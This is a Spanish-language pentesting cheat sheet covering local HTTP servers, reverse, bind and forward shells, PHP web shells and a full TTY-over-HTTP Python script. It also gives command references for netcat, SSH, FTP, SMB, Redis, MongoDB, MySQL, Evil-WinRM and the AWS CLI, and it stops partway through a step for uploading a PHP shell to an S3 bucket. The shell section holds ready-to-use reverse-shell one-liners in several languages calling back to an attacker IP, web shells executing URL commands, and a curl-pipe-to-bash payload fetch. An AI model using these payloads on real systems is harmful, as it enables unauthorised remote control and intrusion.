En primer lugar, es conveniente recordar que el servidor se montará desde el directorio en el que se encuentre la terminal.
El servidor quedará montado desde el directorio actual en adelante (sudirectorios) pero nunca hacia atrás. Una vez el servidor quede corriendo, la terminal quedará inutilizada (en modo verbose) y se parará el servicio de servidor en cuanto se cierre la terminal.
> SERVIDOR RED LOCAL
Navegar al directorio deseado:
cd /home/usuario/carpeta_compartida
Obtener IP Privada:
hostname -I | awk '{print $1}'
Puerto recomendado:
8000
Montar servidor HTTP con Python3.x:
python -m http.server [puerto]
Montar servidor HTTP con Python2.x:
python -m SimpleHTTPServer [puerto]
Una vez corriendo el servidor, para acceder a éste, introducir en la URL del navegador:
http://[IP_Privada]:[puerto]
> SERVIDOR INTERNET
Navegar al directorio deseado:
cd /home/usuario/carpeta_compartida
Obtener IP Pública:
curl -s ifconfig.me
Puerto recomendado:
4810
CONFIGURACIÓN DEL ROUTER (abrir puerto para permitir conexión externa con el servidor):
1º - Configuración Avanzada
2º - Advanced Setup / NAT / Virtual Servers Setup
3º - Add (añadir puerto a la lista)
User Interface: 6/ppp0.1
Custom Service: HTTP Server
Server IP Address: [IP_privada]
External Port Start: [puerto]
External Port End: [puerto]
Protocol: TCP
Internal Port Start: [puerto]
Internal Port End: [puerto]

Montar servidor HTTP con Python3.x:
python -m http.server [puerto]
Montar servidor HTTP con Python2.x:
python -m SimpleHTTPServer [puerto]
Una vez corriendo el servidor, para acceder a éste, introducir en la URL del navegador:
http://[IP_Pública]:[puerto]
↩️🐚 REVERSE SHELL
🌐 Pentes Monkey Reverse Shell Cheat Sheet
Funcionamiento (equipo remoto entabla conexión con el equipo local):
La máquina remota ejecuta un script o comando que establece una conexión de salida a la IP y puerto del atacante. Una vez que la conexión está establecida, el atacante tiene una shell interactiva en la máquina víctima.
Facilita eludir firewalls y NAT, ya que muchas redes permiten conexiones salientes y bloquean las entrantes.
Primero poner al equipo local en modo escucha (listener) por un puerto dado:
nc -nlvp [puerto]
ncat -nlvp [puerto]
O con rlwrap para obtener una shell con mayor interactividad:
rlwrap nc -nlvp [puerto]
rlwrap ncat -nlvp [puerto]
Instalar rlwrap:
sudo apt install rlwrap
Líneas para ejecutar en equipo remoto. Entablan conexión con el equipo local y dan acceso a una shell por el puerto dado en la terminal en escucha:
* Ncat Bash
nc -e /bin/bash [IP_equipo_local] [puerto]
ncat -e /bin/bash [IP_equipo_local] [puerto]
* Ncat Sh
nc -e /bin/sh [IP_equipo_local] [puerto]
ncat -e /bin/sh [IP_equipo_local] [puerto]
*si versión errónea de ncat/nc (error con -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP_equipo_local] [puerto] >/tmp/f
* Bash
bash -i >& /dev/tcp/[IP_equipo_local]/[puerto] 0>&1
* Perl
perl -e 'use Socket;$i="[IP_equipo_local]";$p=[puerto];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in
* Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP_equipo_local]",[puerto]))
* PHP
php -r '$sock=fsockopen("[IP_equipo_local]",[puerto]);exec("/bin/sh -i <&3 >&3 2>&3");'
* Ruby
ruby -rsocket -e'f=TCPSocket.open("[IP_equipo_local]",[puerto]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
* Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[IP_equipo_local]/[puerto];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
* Xterm Session
xterm -display [IP_equipo_local]:[puerto]
(en máquina local)
Xnest :1
xhost +targetip
🔄🐚 BIND SHELL
Funcionamiento (equipo local entabla conexión con el equipo remoto):
La máquina víctima ejecuta un comando que liga (bind) una shell a un puerto específico. El atacante se conecta a ese puerto y obtiene acceso a la shell.
Es útil en situaciones donde las reglas de firewall permiten conexiones entrantes a ciertos puertos.
Líneas para ejecutar en equipo local que activan una shell en equipo remoto:
nc -nlvp [puerto] -e /bin/bash
ncat -nlvp [puerto] -e /bin/bash
Equipo local se conecta al equipo remoto por el puerto abierto y obtiene la shell en ejecución:
nc [IP_equipo_remoto] [puerto]
ncat [IP_equipo_remoto] [puerto]
➡️🐚 FORWARD SHELL
Funcionamiento (tunelización para mover tráfico a través de la red):
Una forward shell es esencialmente una técnica de pivoting. Utiliza herramientas como SSH para crear "túneles" que permiten redirigir el tráfico de una máquina a otra, proporcionando acceso a máquinas dentro de la red interna que de otra manera serían inaccesibles.
Es útil para acceder a recursos internos protegidos detrás de firewalls o NATs.
SSH:
ssh -L [puerto_local]:[IP_equipo_remoto]:[puerto_remoto] usuario@jump_host
__________________________________________________________________________________________________________
📄 ARCHIVOS PARA FORZAR SHELLS
◻️ (BASH) rev.sh
#!/bin/bash
bash -i >& /dev/tcp/[IP_equipo_local]/[puerto] 0>&1
python3 -m http.server [puerto]
http://web.com/shell.php?cmd=curl20[IP_equipo_local]:[puerto]/shell.sh | bash
◻️ (PHP) rev.php
<?php
echo '<?php system($_GET["cmd"]); ?>' > rev.php
?>
E introducir comandos en la URL: www.web.com/rev.php?cmd=whoami
www-data
E introducir comandos en la URL: www.web.com/rev.php?cmd=pwd
/var/www/html
E introducir comandos en la URL: www.web.com/rev.php?cmd=cd .. %26%26 pwd
/var/www
E introducir comandos en la URL: www.web.com/rev.php?cmd=ncat -e /bin/bash [IP_equipo_local] [puerto]
Y en la termina en escucha se recibe una shell
◻️ (PHP) cmd.php
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
E introducir comandos en la URL: www.web.com/cmd.php?cmd=whoami
www-data
E introducir comandos en la URL: www.web.com/cmd.php?cmd=pwd
/var/www/html
E introducir comandos en la URL: www.web.com/cmd.php?cmd=cd .. ; pwd
/var/www
E introducir comandos en la URL: www.web.com/cmd.php?cmd=ncat -e /bin/bash [IP_equipo_local] [puerto]
Y en la termina en escucha se recibe una shell
◻️ (PHP - TTY over HTTP) tty.php
🌐 https://github.com/s4vitar/ttyoverhttp
En ocasiones cuando comprometemos un servidor web, hay reglas configuradas (Ej: iptables) que nos impiden obtener una Reverse Shell vía Netcat, Python, u otra utilidad.
Con esta herramienta, evitamos tener que hacer uso de una reverse shell para obtener una TTY posteriormente completamente interactiva. A través de archivos 'mkfifo', jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema cómodamente sin ningún tipo de problema.
Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se sitúa nuestro script PHP alojado en el servidor vulnerado).
◻️ (PYTHON - TTY over HTTP) tty.py
🌐 https://github.com/s4vitar/ttyoverhttp
#!/usr/bin/python3
import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange
class AllTheReads(object):
def __init__(self, interval=1):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
readoutput = """/bin/cat %s""" % (stdout)
clearoutput = """echo '' > %s""" % (stdout)
while True:
output = RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)
def RunCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def WriteCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
}
result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
return result
def ReadCmd():
GetOutput = """/bin/cat %s""" % (stdout)
output = RunCmd(GetOutput)
return output
def SetupShell():
NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
RunCmd(NamedPipes)
except:
None
return None
global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)
SetupShell()
ReadingTheThings = AllTheReads()
def sig_handler(sig, frame):
print("\n\n[*] Exiting...\n")
print("[*] Removing files...\n")
RunCmd(erasestdin)
RunCmd(erasestdout)
print("[*] All files have been deleted\n")
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
while True:
cmd = input("> ")
WriteCmd(cmd + "\n")
time.sleep(1.1)
🐱 NETCAT (nc)
Netcat, conocido como "nc", es una herramienta de línea de comandos que se utiliza principalmente para leer y escribir datos en conexiones de red utilizando protocolos TCP o UDP. Es una herramienta multipropósito que se puede utilizar para tareas como escanear puertos, transferir archivos, ejecutar comandos de forma remota y crear una Reverse Shell.
Instalación:
sudo apt-get install netcat
Poner el terminal en escucha por un puerto:
nc -lvnp [puerto]
Ejecutar bash shell a través de una conexión por una IP y puerto dados:
nc -e /bin/bash [IP_atacante] [puerto]
PARÁMETROS:
-l (Modo de escucha para las solicitudes de conexión entrantes)
-p [puerto] (Especifica el puerto que Netcat debe utilizar para las conexiones)
-v (Salida detallada, útil para visualizar y ampliar los mensajes de error)
-e (Permite ejecutar un comando específico, como /bin/bash, tras establecer la conexión)
-k (Hace que espere nuevas conexiones después de que terminen las anteriores, solo en combinación con "-l")
-r (Utiliza valores de puerto aleatorios al escanear)
-n (Para evitar las búsquedas de resolución de nombres de dominio DNS lookup)
-z (Modo de escáner de puerto. No envía datos)
-w (Define los tiempos muertos para establecer y cerrar una conexión)
🔌 TELNET
El comando telnet en Linux es una herramienta que permite la comunicación de terminal a terminal con equipos remotos, facilitando la interacción y el envío de comandos a través de un teclado como si estuviéramos sentados delante. Este protocolo, conocido como "Protocolo de red de teletipo" o simplemente "Telnet", es ampliamente utilizado para probar la conectividad con equipos remotos y verificar el estado de los puertos.
NOTA: Es importante mencionar que Telnet no ofrece ninguna seguridad durante la transmisión de datos, lo que lo hace vulnerable a ciberamenazas. Por esta razón, SSH (Secure Shell) es una alternativa más segura que Telnet, ya que proporciona una conexión segura y encriptada para la administración remota de sistemas.
NOTA: Telnet corre por defecto por el puerto 23.
Instalación:
sudo apt-get update
sudo apt-get install telnet
Utilizar el comando telnet seguido de la dirección IP o el nombre de dominio del servidor remoto y el puerto:
telnet [IP] [puerto]
PARÁMETROS:
-d (Activa el modo de depuración, proporcionando información detallada sobre la conexión y las operaciones realizadas)
-a (Permite iniciar sesión automáticamente con un nombre de usuario predefinido, para scripts o conexiones automatizadas)
-n [tracefile] (Abre un archivo de traza para registrar la información de la sesión)
-l [usuario] (Inicia sesión como el usuario especificado, útil cuando el host es compatible con el inicio de sesión automático)
-e [escape char] (Establece un carácter de escape personalizado para controlar la interacción con el servidor)
-E (Desactiva el reconocimiento de cualquier carácter como carácter de escape)
-x (Intenta activar el cifrado para la conexión, aunque Telnet en sí mismo no soporta cifrado, esta opción es más relevante
en contextos donde Telnet se utiliza como parte de una solución más amplia que incluye cifrado)
🐚 SSH (SECURE SHELL)
El comando ssh en Linux es una herramienta poderosa y versátil que permite a los usuarios acceder de forma segura a otros sistemas informáticos a través de una red. SSH, que significa Secure Shell, es un protocolo de red que proporciona una forma segura de acceder a un sistema remoto. Utiliza el cifrado para proteger los datos transmitidos entre el cliente y el servidor, lo que lo hace ideal para conexiones a través de redes inseguras.
NOTA: ssh corre por defecto por el puerto 22.
Instalación:
sudo apt-get update
sudo apt-get install openssh-client
SINTAXIS:
ssh [parámetros] [usuario]@[ip/url]
Establecer conexión con usuario y host por puerto 22:
ssh usuario@host.com -p 22
Establecer conexión con usuario y host por puerto 22 introduciendo clave privada:
ssh -i /ruta/private.key usuario@host.com -p 22
PARÁMETROS:
-p [nº] (Especifica el puerto en el que el servidor SSH está escuchando. Si no se indica, el puerto predeterminado es el 22)
-X (Habilita el reenvío de X11. Permite ejecutar aplicaciones gráficas en el servidor remoto y visualizarlas en tu máquina local)
-v (Aumenta el nivel de verbosidad)
-i [archivo/ruta] (Archivo o ruta de clave privada)
Para cancelar conexión establecida:
exit
logout
[ctrl] + [d]
~.
______________________________________________________________________________________________________
🔌 OTRAS UTILIDADES
Generar SSH Key:
ssh-keygen -b 4096
Ejecutar un comando y salir:
ssh usuario@host.com -p 22 [comando]
X11 Session Forwarding:
ssh -X usuario@host.com -p 22
TCP Port Forwarding o Tunneling (usar máquina local como máquina remota):
ssh -L [puerto_local]:localhost:[puerto] [usuario]@[host]
SOCKS5 Proxying:
ssh -D 9999 usuario@host.com -p 22
Subir archivo al host:
scp [archivo_local] usuario@host.com:[archivo_remoto]
Descargar archivo del host:
scp [archivo_remoto] usuario@host.com:.
_______________________________________________________________________________________________________
🔌 SSHPASS
El comando sshpass no viene instalado por defecto en Kali Linux ni en el resto de distribuciones. El comando funciona igual que ssh solo que permite introducir la contraseña del usuario en la línea de comandos.
Instalación:
sudo apt-get update
sudo apt-get install sshpass
Establecer conexión mediante contraseña, con usuario y host por puerto 22:
sshpass -p 'contraseña' ssh usuario@host.com -p 22
Establecer conexión mediante archivo con contraseña, con usuario y host por puerto 22:
sshpass -f /ruta/contraseña.txt ssh usuario@host.com -p 22
Establecer conexión mediante contraseña, con usuario y host por puerto 22 (con variable de entorno):
export SSHPASS=contraseña
sshpass -e ssh usuario@host.com -p 22
🔌 FTP
El comando ftp en Linux es una herramienta de línea de comandos que permite a los usuarios transferir archivos entre un cliente y un servidor FTP (Protocolo de Transferencia de Archivos). FTP es un protocolo de red que permite la transferencia de archivos entre sistemas conectados a una red TCP/IP. Este protocolo es ampliamente utilizado para la transferencia de archivos entre servidores web y clientes, así como para la transferencia de archivos entre diferentes sistemas en una red.
NOTA: ftp corre por defecto por el puerto 21.
NOTA: A menudo, en conexiones ftp puede estar habilitado el usuario por defecto 👤anonymous, el cual tiene contraseña en blanco. Otros nombres de usuario genéricos pueden ser admin, administrator o root, probablemente con contraseña convencional.
EJEMPLO con Localhost:
ftp localhost
ftp 127.0.0.1
EJEMPLO con IP:
ftp 192.168.1.1
EJEMPLO con IP y Puerto:
ftp 192.168.1.1 21
EJEMPLO con URL:
ftp web.com
EJEMPLO con USUARIO e IP:
ftp user@192.168.1.1
EJEMPLO con USUARIO y URL:
ftp user@web.com
COMANDOS que se pueden usar una vez establecida la conexión (se usan en dos tiempos):
pwd (Mostrar directorio actual)
lpwd (Mostrar directorio actual en tu sistema local)
ls (Lista los archivos y directorios en el directorio actual del servidor)
cd [directorio] (Cambia el directorio actual en el servidor)
get [file] (Descarga un archivo del servidor al cliente)
mget [files] (Descarga múltiples archivos del recurso compartido al sistema local)
put [file] (Sube un archivo del cliente al servidor)
mput [files] (Sube múltiples archivos del sistema local al recurso compartido)
help (Muestra una lista de comandos disponibles)
bye o quit (Cierra la sesión FTP)
🔌 SMB
El comando smb en Linux se refiere a Samba, un software que permite compartir archivos y servicios entre sistemas operativos Windows y Linux. Samba implementa el protocolo SMB/CIFS (Server Message Block/Common Internet File System), que es el protocolo estándar para compartir archivos, impresoras, y otros recursos en redes locales (LAN).
SMB (Server Message Block) es un protocolo cliente-servidor que controla el acceso a archivos y directorios enteros, así como a otros recursos de la red, como impresoras, routers o interfaces compartidas con la red. El protocolo SMB también sirve como base para el intercambio de información entre los diferentes procesos de un sistema (intercambio también conocido como comunicación entre procesos).
NOTA: El protocolo TCP/SMB corre por defecto por el puerto 445. Normalmente, en las redes la resolución de direcciones funciona a través del Domain Name System (DNS) o, en redes más pequeñas, a través de Link Local Multicast Name Resolution (LLMNR).
NOTA: Existen varias versiones, CIFS, SMB 1.0, SMB 2.0, SMB 2.1, SMB 3.0, SMB 3.0.2 y SMB 3.1.1.
NOTA: El comando smb no viene instalado por defecto en Kali Linux ni otras distribuciones.
Instalación del lado SERVIDOR:
sudo apt-get update
sudo apt-get install samba
Una vez instalado, puedes configurar Samba editando el archivo /etc/samba/smb.conf. Este archivo define las configuraciones de compartición, incluyendo los directorios que se compartirán, los permisos de acceso, y otros parámetros:
mousepad /etc/samba/smb.conf
Agrega una sección para tu carpeta compartida al final del archivo:
[MiCarpetaCompartida]
path = /ruta/a/tu/carpeta
read only = no
browsable = yes
guest ok = yes
Guardar y reinicia el servicio Samba para aplicar los cambios:
sudo systemctl restart smbd
Ahora, tu carpeta compartida debería estar accesible desde otros sistemas en la red. Puedes acceder a ella desde un sistema Windows usando el explorador de red o ingresando en el explorador de archivos:
\\servidor\recurso_compartido
______________________________________________________________________________________________
🔌 SMBCLIENT
El comando smbclient en Linux es una herramienta poderosa para interactuar con recursos compartidos en redes que utilizan el protocolo SMB (Server Message Block). SMB es un protocolo de red que permite a los usuarios compartir archivos, impresoras, y otros recursos entre computadoras en una red. smbclient es parte del paquete Samba, que proporciona implementaciones de los protocolos SMB/CIFS para sistemas Unix y Linux, permitiendo la interoperabilidad con sistemas Windows.
NOTA: El protocolo TCP/SMB corre por defecto por el puerto 445. Normalmente, en las redes la resolución de direcciones funciona a través del Domain Name System (DNS) o, en redes más pequeñas, a través de Link Local Multicast Name Resolution (LLMNR).
NOTA: Existen varias versiones, CIFS, SMB 1.0, SMB 2.0, SMB 2.1, SMB 3.0, SMB 3.0.2 y SMB 3.1.1.
NOTA: El comando smbclient suele venir instalado por defecto en Kali Linux.
SINTAXIS:
smbclient //servidor/recurso_compartido -U usuario
EJEMPLO:
smbclient -L [IP] -U usuario
smbclient -L [IP] -N
PARÁMETROS:
-L (Listar servicios disponibles de un servidor)
-U (Nombre de usuario y opcionalmente, contraseña)
-N (Sesión Nula. cuando no se dispone de credenciales válidas)
-h (Mostrar ayuda)
COMANDOS que se pueden usar una vez establecida la conexión:
pwd (Mostrar directorio actual)
ls (Lista los archivos y directorios en el directorio actual del servidor)
cd [directory] (Cambia el directorio actual en el servidor)
lcd [route] (Cambia el directorio actual en el sistema local. Por ejemplo, /path/to/local/directory)
get [file] (Descarga un archivo del servidor al cliente)
mget [files] (Descarga múltiples archivos del recurso compartido al sistema local)
put [file] (Sube un archivo del cliente al servidor)
mput [files] (Sube múltiples archivos del sistema local al recurso compartido)
mkdir [directory] (Crea un nuevo directorio en el recurso compartido)
rmdir [directory] (Elimina un directorio en el recurso compartido)
rm [file] (Elimina un archivo en el recurso compartido)
rename [file] (Renombrar un archivo o directorio en el recurso compartido)
mdelete [files] (Elimina múltiples archivos en el recurso compartido)
help (Muestra una lista de comandos disponibles)
exit (Cierra la sesión FTP)
🗃️ REDIS SERVICE
Redis es una base de datos NoSQL de alto rendimiento que se utiliza típicamente para almacenar datos en caché y escalar sitios web con alto tráfico. Es un componente de software de código abierto licenciado bajo la Licencia BSD de Tres Cláusulas. Redis se utiliza para garantizar un caché compartido consistente entre los diversos servidores y servicios que componen una instalación de, por ejemplo, GE Digital APM.
NOTA: Por defecto corre por el puerto 6379/TCP. En algún caso reportado, también por el puerto 6380/TCP.
Instalación del lado SERVIDOR:
sudo apt-get update
sudo apt-get install redis-server
Después de la instalación, es necesarios configurar el archivo redis.conf:
mousepad /etc/redis/redis.conf
Algunos parámetros del archivo redis.conf:
notify-keyspace-events (Especificar eventos de notificación)
bind (Especificar la dirección IP del servidor Redis)
requirepass (Establecer una contraseña compleja para las conexiones Redis)
masterauth (Especificar la misma contraseña para la autenticación de nodos Redis en una configuración de alta disponibilidad)
slaveof (Configurar el servidor Redis réplica de otro servidor Redis principal, especificando dirección IP y el puerto del servidor principal)
slave-priority (Establecer la prioridad para el servidor réplica en una configuración de alta disponibilidad)
__________________________________________________________________________________________________________
Instalación del lado CLIENTE:
sudo apt-get update
sudo apt-get install redis-tools
NOTA: Por defecto corre por el puerto 6379/TCP. En algún caso reportado, también por el puerto 6380/TCP.
Línea de comandos para establecer conexión con el servidor:
redis-cli -h [IP o URL] -p [puerto] -a [contraseña]
Dentro de un servidor Redis, puedes utilizar una amplia gama de comandos para interactuar con la base de datos. Aquí tienes una lista de algunos de los comandos más comunes y útiles:
info (Ver información del servidor)
select (Cambia la base de datos seleccionada)
set (Similar a echo?)
get [file] (Similar a cat)
keys * (Listar las claves del servidor)
client getname (Devuelve el nombre de la conexión)
client reply (Indica al servidor si debe responder a los comandos)
client setname (Establece el nombre de la conexión)
hello (Protocolos de enlace con el servidor Redis)
ping (Devuelve la respuesta de vivacidad del servidor)
copy (Copia el valor de una clave en una nueva clave)
del (Elimina una o varias claves)
dump (Devuelve una representación serializada del valor almacenado en una clave)
exists (Determina si hay una o más claves)
randomkey (Devuelve un nombre de clave aleatorio de la base de datos)
rename (Cambia el nombre de una clave y sobrescribe el destino)
scan (Hace una iteración sobre los nombres de claves en la base de datos)
sort (Ordena los elementos de una lista, un conjunto o un conjunto ordenado y, opcionalmente, almacena el resultado)
type (Determina el tipo de valor almacenado en una clave)
ttl (Devuelve el tiempo de caducidad de una clave en segundos)
pttl (Devuelve el tiempo de caducidad de una clave en milisegundos)
pexpire (Establece el tiempo de caducidad de una clave en segundos)
🗃️ MONGO DB (no SQL database)
MongoDB es una base de datos de documentos distribuida que ofrece una gran escalabilidad y flexibilidad, junto con un modelo de consultas e indexación avanzado. Almacena datos en documentos flexibles similares a JSON, lo que permite que los campos varíen entre documentos y que la estructura de datos pueda cambiar con el tiempo. Este modelo de documento se asigna a los objetos en el código de la aplicación, facilitando el trabajo con los datos. Es de uso gratuito, aunque las versiones lanzadas antes del 16 de octubre de 2018 se publican bajo licencia AGPL, mientras que todas las versiones posteriores al 16 de octubre de 2018, incluidos los parches lanzados para versiones anteriores, se publican bajo Licencia pública del lado del servidor (SSPL) v1.
Conexión SIN autenticación:
mongodb://hostname/IP:port
Conexión CON autenticación:
mongodb://username:password@hostname/IP:port
Conexión CON autenticación a través de una Mongo Shell:
mongosh "mongodb://username:password@hostname/IP:port"
____________________________________________________________________________________________
PARÁMETROS DEFAULT de MONGO SHELL:
use [base de datos] (seleccionar/cambiar base de datos)
db.mycoll.find() (listar objetos de colección "mycoll")
db.mycoll.find( { a : 1 } ) (listar objetos de colección "mycoll" donde a == 1)
it (resultado de la última evaluación)
DBQuery.shellBatchSize = [nº] (establecer número por defecto de objetos que muestre la shell)
exit (salir de Mongo Shell)
PARÁMETROS SHOW de MONGO SHELL:
show dbs (mostrar nombres de bases de datos)
show collections (mostrar colecciones de la base de datos actual)
show users (mostrar usuarios de la base de datos actual)
show profile (mostrar entradas de perfil de sistema más recientes, con time >= 1ms)
show logs (mostrar nombres de conexión accesibles)
show log [nombre] (mostrar el último segmento del log en memoria)
PARÁMETROS HELP de MONGO SHELL:
db.help() (ayuda para db methods)
db.mycoll.help() (ayuda para collection methods)
sh.help() (sharding helpers)
rs.help() (replica set helpers)
help admin (ayuda administrativa)
help connect (conectar a db help)
help keys (atajos de teclado)
help misc (información diversa)
help mr (mapreduce)
🖥️ FREERDP (remote desktop protocol)
FreeRDP es una implementación libre del Protocolo de Escritorio Remoto (Remote Desktop Protocol o RDP). Es compatible con varias versiones de Windows, incluyendo Windows NT Server, Windows 2000 Terminal Server, Windows XP, Windows 2003 Server, Windows Vista, Windows 2008/2008r2/2011SBS Server, Windows 7, Windows 2012/2012r2 Server, Windows 8, y Windows 10. FreeRDP permite a los usuarios acceder a sus sistemas Windows desde otros dispositivos, lo cual es especialmente útil para administradores de sistemas y profesionales de la seguridad informática que necesitan acceder a servidores o estaciones de trabajo remotos. Permite una conexión gráfica de control remoto de escritorio, similar a Team Viewer.
🌐 freerdp.com
Instalar cliente RDP basado en X11:
sudo apt install freerdp2-x11
Instalar funcionalidad como servidor RDP:
sudo apt install libfreerdp-server2-2
Instalar funcionalidad cliente RDP básico:
sudo apt install libfreerdp-client2-2
Instalar para desarrolladores que necesiten las herramientas de desarrollo de FreeRDP:
sudo apt install freerdp2-dev
Conexión a Servidor RDP sin contraseña:
xfreerdp /v:[hostname/IP]
Conexión a Servidor RDP con contraseña:
xfreerdp /v:[hostname/IP] /u:[usuario] /p:[contraseña]
Conexión a Servidor RDP usando archivo de credenciales:
xfreerdp /v:[hostname/IP] /u:[usuario] /a /c:credenciales.txt
Contenido de archivo de credenciales (ejemplo credenciales.txt):
usuario=contraseña

🔌 MYSQL MARIADB DATABASE
Una base de datos MySQL (versión MariaDB) es un sistema de gestión de bases de datos relacionales (RDBMS) que permite almacenar, organizar y recuperar datos de manera estructurada utilizando el lenguaje SQL (Structured Query Language). Son de código abierto y comparten muchas características y funcionalidades, aunque tienen diferencias en su desarrollo y administración.
Instalación:
sudo apt-get install mysql-client
CONEXIÓN A BASE DE DATOS:
mysql -h [IP/host] -P [puerto] -u [usuario] -p [contraseña]
NOTA: Es posible que de error si no se meten -p y la contraseña PEGADOS, es decir: -pcontraseña
COMANDOS DENTRO DE LA BASE DE DATOS:
CREATE DATABASE [nombre_base_datos]; (Crear bases de datos nueva)
DROP DATABASE [nombre_base_datos]; (Borrar bases de datos existente)
SHOW DATABASES; (Mostrar todas las bases de datos)
USE [base_datos]; (Seleccionar base de datos a visionar)
CREATE TABLE [nombre_tabla] (columna1, columna2, ...); (Crear tabla dentro de una base de datos seleccionada)
DROP TABLE [nombre_tabla]; (Crear tabla dentro de una base de datos seleccionada)
SHOW TABLES; (Mostrar las tablas de la base de datos seleccionada)
DESCRIBE [nombre_tabla]; (Describir una tabla específica)
INSERT INTO [nombre_tabla] VALUES (columna1, ...); (Insertar nuevos valores en una tabla)
UPDATE [nombre_tabla] SET [Columna1] = [valor1] WHERE [condición]; (Actualiza registros existentes)
DESCRIBE [nombre_tabla]; (Describir una tabla específica)
DELETE FROM [nombre_tabla] WHERE [condición] (Eliminar registros de una tabla)
SELECT * FROM [nombre_tabla]; (Mostrar todas las columnas de una tabla)
SELECT [columna/s] FROM [nombre_tabla]; (Mostrar columna/s de una tabla)
SELECT [columna/s] FROM [nombre_tabla] WHERE [condición]; (Mostrar columna/s de una tabla)
START TRANSACTION; (Iniciar una transacción de datos)
COMMIT; (Confirma la transacción actual)
ROLLBACK; (Cancela la transacción actual)
SELECT CURRENT_USER(); (Visionar el usuario actual)
SELECT User, Host FROM mysql.user; (Visionar usuarios y su host)
CREATE USER [nombre_usuario]@[host] IDENTIFYED BY [contraseña]; (Crear usuario nuevo)
DROP USER [nombre_usuario]@[host]; (Eliminar usuario existente)
CAMBIAR DE USUARIO ACTUAL A OTRO EXISTENTE:
\qmysql -u [usuario_nuevo] -p
SYSTEM mysql -u [usuario_nuevo] -p
\!
mysql -u [usuario_nuevo] -p
FLUSH PRIVILEGES; (Recargar el archivo de privilegios)
KILL [id_de_proceso]; (Terminar un proceso específico en el servidor)
SHOW VARIABLES; (Muestra variables de configuración del servidor)
HELP [término_a_buscar]; (Cancela la transacción actual)
\h [comando]; (Muestra ayuda de un comando específico)
🔌 EVIL-WINRM
Evil-WinRM es una herramienta de línea de comandos escrita en Ruby que permite a los usuarios interactuar con sistemas Windows mediante el protocolo WinRM (Windows Remote Management). Esta herramienta es particularmente útil para pruebas de penetración (pentesting) y post-explotación en sistemas Windows, permitiendo a los usuarios cargar y ejecutar scripts de PowerShell, cargar DLLs y binarios en memoria, y más, todo desde una terminal Linux.
Establecer conexión:
evil-winrm -i [host-IP] -u [usuario] -p [contraseña]
Desconectar:
[ctrl] + [c]
[y] + [enter]
☁️ AWS (AMAZON CLOUD WEB SERVICES)
Amazon Web Services (AWS) es un servicio de computación en la nube ofrecido por Amazon que permite a los usuarios encontrar, comprar y desplegar sistemas operativos Linux en la nube. Desde su lanzamiento inicial en 2006 con una sola instancia y un solo sistema operativo, Amazon Linux, AWS ha experimentado un crecimiento significativo, expandiéndose para ofrecer a los clientes la opción de ejecutar más de 30 tipos de instancias y más de 10 sistemas operativos, aunque Linux, Xen y otros proyectos de código abierto siguen siendo las tecnologías fundamentales detrás de AWS 4. Esta amplia gama de opciones y capacidades hace de AWS una plataforma versátil para una variedad de usos, desde alojamiento web y desarrollo hasta análisis de big data y ejecución de aplicaciones empresariales complejas.
INSTALACIÓN AUTOMÁTICA DE AWS CLI (cliente) EN LINUX:
apt install awscli
INSTALACIÓN MANUAL DE AWS CLI (cliente) EN LINUX DE 64 BITS:
Descargar:
curl "https://d1vvhvl2y92vvt.cloudfront.net/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
Descomprimir:
unzip awscliv2.zip
Instalar:
sudo./aws/install
Comprobar instalación:
aws --version
Configurar AWS CLI. Para los casos en los que se pueda bypassear el sistema, podemos meter cualquier valor aleatorio:
aws configure
AWS Access Key ID [None]:
[random]
AWS Secret Access Key [None]:
[random]
Default region name [None]:
[random]
Default output format [None]:
[random]
Interactuar con el servicios de AWS listando los "buckets":
aws s3 ls
____________________________________________________________________________________________
Para poder conectar con un servidor web de AWS, se requiere la siguiente información:
-IP
-URL
-La certeza de que el servicio está en ejecución
El servidor web debería tener una URL con la siguiente sintaxis, con un subdominio s3:
http://s3.web.com
Al ejecutar dicha URL en el navegador, si el servicio está en ejecución, deberíamos obtener el mensaje:
{"status": "running"}
(Para poder ejecutar la URL posiblemente sea necesario excepcionarla en /etc/hosts)
Para listar los "buckets S3" del servidor:
aws --endpoint=http://s3.web.com s3 ls
2024-06-15 20:35:09 bucket1.com
Para listar los objetos dentro del bucket que tiró el servidor:
aws --endpoint=http://s3.web.com s3 ls s3://bucket1.com
PRE images/
2024-06-15 20:35:09 0 .htaccess
2024-06-15 20:35:09 11952 index.php
En este caso práctico, tras ver que el servidor usa PHP (index.php), se puede intentar subir una PHP shell al bucket S3, ejecutar el archivo desde el navegador y así activar una conexión remota.
A continuación, el one-liner para crear dicho archivo shell.php (dicha línea podría ser detectada como maliciosa):
